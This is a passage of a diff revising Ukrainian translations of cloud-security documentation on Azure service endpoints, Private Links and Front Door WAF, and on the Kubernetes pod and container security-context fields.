налаштувати так, щоб він приймав трафік лише з вашої VNet. +Наприклад, обліковий запис **Azure Storage** за замовчуванням доступний через публічний інтернет. Увімкнувши **точку доступу сервісу для Azure Storage у вашій VNet**, ви можете забезпечити, що лише трафік з вашої VNet може отримати доступ до облікового запису зберігання. Брандмауер облікового запису зберігання може бути налаштований для прийняття трафіку лише з вашої VNet. ### **Перерахування** @@ -238,7 +239,7 @@ Get-AzVirtualNetwork ### Відмінності між Service Endpoints та Private Links -Microsoft рекомендує використовувати Private Links у [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints): +Microsoft рекомендує використовувати Private Links у [**документації**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
@@ -254,7 +255,7 @@ Microsoft рекомендує використовувати Private Links у [ - Private Link відображає Azure-сервіси у вашій VNet через приватний endpoint, який є мережею з приватною IP-адресою в межах вашої VNet. - Azure-сервіс доступний за цією приватною IP-адресою, що робить його частиною вашої мережі. -- Сервіси, підключені через Private Link, можуть бути доступні лише з вашої VNet або підключених мереж; доступу до сервісу з публічного інтернету немає. +- Сервіси, підключені через Private Link, можуть бути доступні лише з вашої VNet або підключених мереж; немає доступу до сервісу з публічного інтернету. - Це забезпечує безпечне з'єднання з Azure-сервісами або вашими власними сервісами, розміщеними в Azure, а також з сервісами, якими діляться інші. - Це забезпечує більш детальний контроль доступу через приватний endpoint у вашій VNet, на відміну від більш широкого контролю доступу на рівні підмережі з service endpoints. @@ -262,7 +263,7 @@ Microsoft рекомендує використовувати Private Links у [ ## Azure Front Door (AFD) & AFD WAF -**Azure Front Door** є масштабованою та безпечною точкою входу для **швидкої доставки** ваших глобальних веб-додатків. Він **поєднує** різні сервіси, такі як глобальне **балансування навантаження, прискорення сайтів, SSL offloading та можливості Web Application Firewall (WAF)** в один сервіс. Azure Front Door забезпечує інтелектуальну маршрутизацію на основі **найближчого краєвого місця до користувача**, забезпечуючи оптимальну продуктивність та надійність. Крім того, він пропонує маршрутизацію на основі URL, хостинг кількох сайтів, афінність сесій та безпеку на рівні додатків. +**Azure Front Door** є масштабованою та безпечною точкою входу для **швидкої доставки** ваших глобальних веб-додатків. Він **поєднує** різні сервіси, такі як глобальне **балансування навантаження, прискорення сайтів, SSL offloading та можливості Web Application Firewall (WAF)** в один сервіс. Azure Front Door забезпечує інтелектуальну маршрутизацію на основі **найближчого краєвого розташування до користувача**, забезпечуючи оптимальну продуктивність та надійність. Крім того, він пропонує маршрутизацію на основі URL, хостинг кількох сайтів, афінність сесій та безпеку на рівні додатків. **Azure Front Door WAF** призначений для **захисту веб-додатків від веб-атак** без модифікації коду на бекенді. Він включає в себе користувацькі правила та керовані набори правил для захисту від загроз, таких як SQL-ін'єкції, міжсайтове скриптування та інші поширені атаки. @@ -295,7 +296,7 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName fsGroup
ціле число

|

Спеціальна додаткова група, яка застосовується до всіх контейнерів у pod. Деякі типи томів дозволяють Kubelet змінювати власність цього тому на власність pod:
1. Власний GID буде FSGroup
2. Біт setgid встановлений (нові файли, створені в томі, будуть належати FSGroup)
3. Біт дозволів OR'd з rw-rw---- Якщо не встановлено, Kubelet не змінюватиме власність і дозволи жодного тому

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | + |

fsGroupChangePolicy
рядок

| Це визначає поведінку **зміни власності та дозволів тому** перед його відкриттям всередині Pod. | |

runAsGroup
ціле число

| **GID для запуску точки входу процесу контейнера**. Використовує значення за замовчуванням, якщо не встановлено. Може також бути встановлено в SecurityContext. | -|

runAsNonRoot
логічне

| Вказує, що контейнер повинен працювати як не-root користувач. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. | +|

runAsNonRoot
логічне значення

| Вказує, що контейнер повинен працювати як не-root користувач. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. | |

runAsUser
ціле число

| **UID для запуску точки входу процесу контейнера**. За замовчуванням - користувач, вказаний у метаданих зображення, якщо не вказано. | |

seLinuxOptions
SELinuxOptions
Більше інформації про seLinux

| **Контекст SELinux, який буде застосовано до всіх контейнерів**. Якщо не вказано, контейнерний виконувальний середовище виділить випадковий контекст SELinux для кожного контейнера. | |

seccompProfile
SeccompProfile
Більше інформації про Seccomp

| **Опції seccomp, які використовуються контейнерами** в цьому pod. | |

supplementalGroups
масив цілих чисел

| Список **груп, які застосовуються до першого процесу, запущеного в кожному контейнері**, на додаток до основного GID контейнера. | |

sysctls
Sysctl масив
Більше інформації про sysctls

| Sysctls містять список **namespaced sysctls, які використовуються для pod**. Pods з непідтримуваними sysctls (контейнерним виконувальним середовищем) можуть не запуститися. | -|

windowsOptions
WindowsSecurityContextOptions

| Специфічні для Windows налаштування, які застосовуються до всіх контейнерів. Якщо не вказано, будуть використовуватися параметри в SecurityContext контейнера. | +|

windowsOptions
WindowsSecurityContextOptions

| Специфічні для Windows налаштування, які застосовуються до всіх контейнерів. Якщо не вказано, будуть використані параметри в SecurityContext контейнера. | ## SecurityContext [**З документації:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Цей контекст встановлюється всередині **визначень контейнерів**. З точки зору оборонної безпеки вам слід врахувати: +Цей контекст встановлюється всередині **визначень контейнерів**. З точки зору оборонної безпеки ви повинні врахувати: - **allowPrivilegeEscalation** як **False** - Не додавайте чутливі **можливості** (і видаліть ті, які вам не потрібні) @@ -41,14 +42,14 @@ Зверніть увагу, що атрибути, встановлені в **обох SecurityContext і PodSecurityContext**, значення, вказане в **SecurityContext**, має **пріоритет**. -|

allowPrivilegeEscalation
логічне

| **AllowPrivilegeEscalation** контролює, чи може процес **отримати більше привілеїв**, ніж його батьківський процес. Цей булевий параметр безпосередньо контролює, чи буде встановлено прапор no_new_privs для процесу контейнера. AllowPrivilegeEscalation завжди true, коли контейнер запускається як **Privileged** або має **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
логічне значення

| **AllowPrivilegeEscalation** контролює, чи може процес **отримати більше привілеїв**, ніж його батьківський процес. Цей булевий параметр безпосередньо контролює, чи буде встановлено прапор no_new_privs для процесу контейнера. AllowPrivilegeEscalation завжди true, коли контейнер запускається як **Privileged** або має **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |

capabilities
Capabilities
Більше інформації про Capabilities

| **Можливості, які потрібно додати/видалити при запуску контейнерів**. За замовчуванням - набір можливостей за замовчуванням. | -|

privileged
логічне

| Запустіть контейнер у привілейованому режимі. Процеси в привілейованих контейнерах фактично **еквівалентні root на хості**. За замовчуванням - false. | +|

privileged
логічне значення

| Запустіть контейнер у привілейованому режимі. Процеси в привілейованих контейнерах фактично **еквівалентні root на хості**. За замовчуванням - false. | |

procMount
рядок

| procMount позначає **тип монтування proc, який потрібно використовувати для контейнерів**. За замовчуванням - DefaultProcMount, який використовує значення за замовчуванням контейнерного виконувального середовища для шляхів тільки для читання та маскованих шляхів. | -|

readOnlyRootFilesystem
логічне

| Чи має цей **контейнер файлову систему кореня тільки для читання**. За замовчуванням - false. | +|

readOnlyRootFilesystem
логічне значення

| Чи має цей **контейнер файлову систему кореня тільки для читання**. За замовчуванням - false. | |

runAsGroup
ціле число

| **GID для запуску точки входу** процесу контейнера. Використовує значення за замовчуванням, якщо не встановлено. | -|

runAsNonRoot
логічне

| Вказує, що контейнер повинен **працювати як не-root користувач**. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. | +|

runAsNonRoot
логічне значення

| Вказує, що контейнер повинен **працювати як не-root користувач**. Якщо true, Kubelet перевірить зображення під час виконання, щоб переконатися, що воно не працює як UID 0 (root) і не зможе запустити контейнер, якщо це так. | |

runAsUser
ціле число

| **UID для запуску точки входу** процесу контейнера. За замовчуванням - користувач, вказаний у метаданих зображення, якщо не вказано. | |

seLinuxOptions
SELinuxOptions
Більше інформації про seLinux

| **Контекст SELinux, який буде застосовано до контейнера**. Якщо не вказано, контейнерний виконувальний середовище виділить випадковий контекст SELinux для кожного контейнера. | |

seccompProfile
SeccompProfile

| **Опції seccomp**, які використовуються цим контейнером. |